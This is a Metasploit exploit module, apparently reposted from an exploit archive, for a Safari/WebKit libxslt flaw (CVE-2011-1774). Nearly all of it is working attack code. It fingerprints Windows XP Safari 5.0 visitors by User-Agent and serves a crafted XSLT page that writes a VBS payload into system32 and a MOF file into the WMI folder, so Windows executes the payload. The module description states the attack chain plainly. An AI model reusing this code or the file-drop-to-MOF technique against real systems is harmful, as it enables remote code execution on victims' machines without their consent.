Apple Safari Webkit libxslt Arbitrary File Creation

##
# $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec
 
    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'Apple Safari Webkit libxslt Arbitrary File Creation',
            'Description'     => %q{
                    This module exploits a file creation vulnerability in the Webkit
                rendering engine. It is possible to redirect the output of a XSLT
                transformation to an arbitrary file. The content of the created file must be
                ASCII or UTF-8. The destination path can be relative or absolute. This module
                has been tested on Safari and Maxthon. Code execution can be acheived by first
                uploading the payload to the remote machine in VBS format, and then upload a MOF
                file, which enables Windows Management Instrumentation service to execute the VBS.
            },
            'License'         => MSF_LICENSE,
            'Author'          => ['Nicolas Gregoire'],
            'Version'         => '$Revision: 13987 $',
            'References'      =>
                [
                    ['CVE', '2011-1774'],
                    ['OSVDB', '74017'],
                    ['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],
                ],
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'         =>
                {
                    'Space' => 2048,
                },
            'Platform'        => 'win',
            'Targets'         =>
                [
                    #Windows before Vista
                    [ 'Automatic', { } ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jul 20 2011'))
    end
 
    def autofilter
        false
    end
 
    def check_dependencies
        use_zlib
    end
 
    def on_request_uri(cli, request)
        # Check target before attacking
        agent = request.headers['User-Agent']
        if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/
            print_error("This target isn't supported: #{agent.to_s}")
            send_not_found(cli)
            return
        end
 
        url =  "http://"
        url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        url += ":" + datastore['SRVPORT'] + get_resource() + "/"
 
        content = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
<!-- Define the DTD of the document
     This is needed, in order to later reference the XSLT stylesheet by a #fragment
     This trick allows to have both the XML and the XSL in the same file
     Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
<!DOCTYPE doc [
 <!ATTLIST xsl:stylesheet
 id ID #REQUIRED
>]>
<doc>
 
<!-- Define location and content of the files -->
<mof>
    <location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location>
    <content><![CDATA[#{@mof_content}]]></content>
</mof><vbs>
    <location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location>
    <content><![CDATA[#{@vbs_content}]]></content>
</vbs>
 
<!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:sx="http://icl.com/saxon"
  extension-element-prefixes="sx"
  xmlns="http://www.w3.org/1999/xhtml" >
<xsl:output method="xml" indent="yes" />
 
<!-- The XSLT template -->
<xsl:template match="/">
    <!-- Define some XSLT variables -->
    <xsl:variable name="moflocation" select="//mof/location/text()"/>
    <xsl:variable name="vbslocation" select="//vbs/location/text()"/>
    <!-- Create the files -->
    <sx:output file="{$vbslocation}" method="text">
        <xsl:value-of select="//vbs/content"/>
    </sx:output>
    <sx:output file="{$moflocation}" method="text">
        <xsl:value-of select="//mof/content"/>
    </sx:output>
    <!-- Some output to the browser -->
    <html> </html>
</xsl:template>
</xsl:stylesheet>
</doc>
        EOS
 
        #Clear the extra tabs
        content = content.gsub(/^\t\t/, '')
 
        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, content, {'Content-Type'=>'application/xml'})
        handler(cli)
 
    end
 
    def exploit
        # In order to save binary data to the file system the payload is written to a VBS
        # file and execute it from there via a MOF
        @mof_name = rand_text_alpha(rand(5)+5) + ".mof"
        @vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"
 
        print_status("Encoding payload into vbs...")
        payload = generate_payload_exe
        @vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
 
        print_status("Generating mof file...")
        @mof_content = generate_mof(@mof_name, @vbs_name)
        super
    end
 
end



#  0day.today [2018-04-10]  #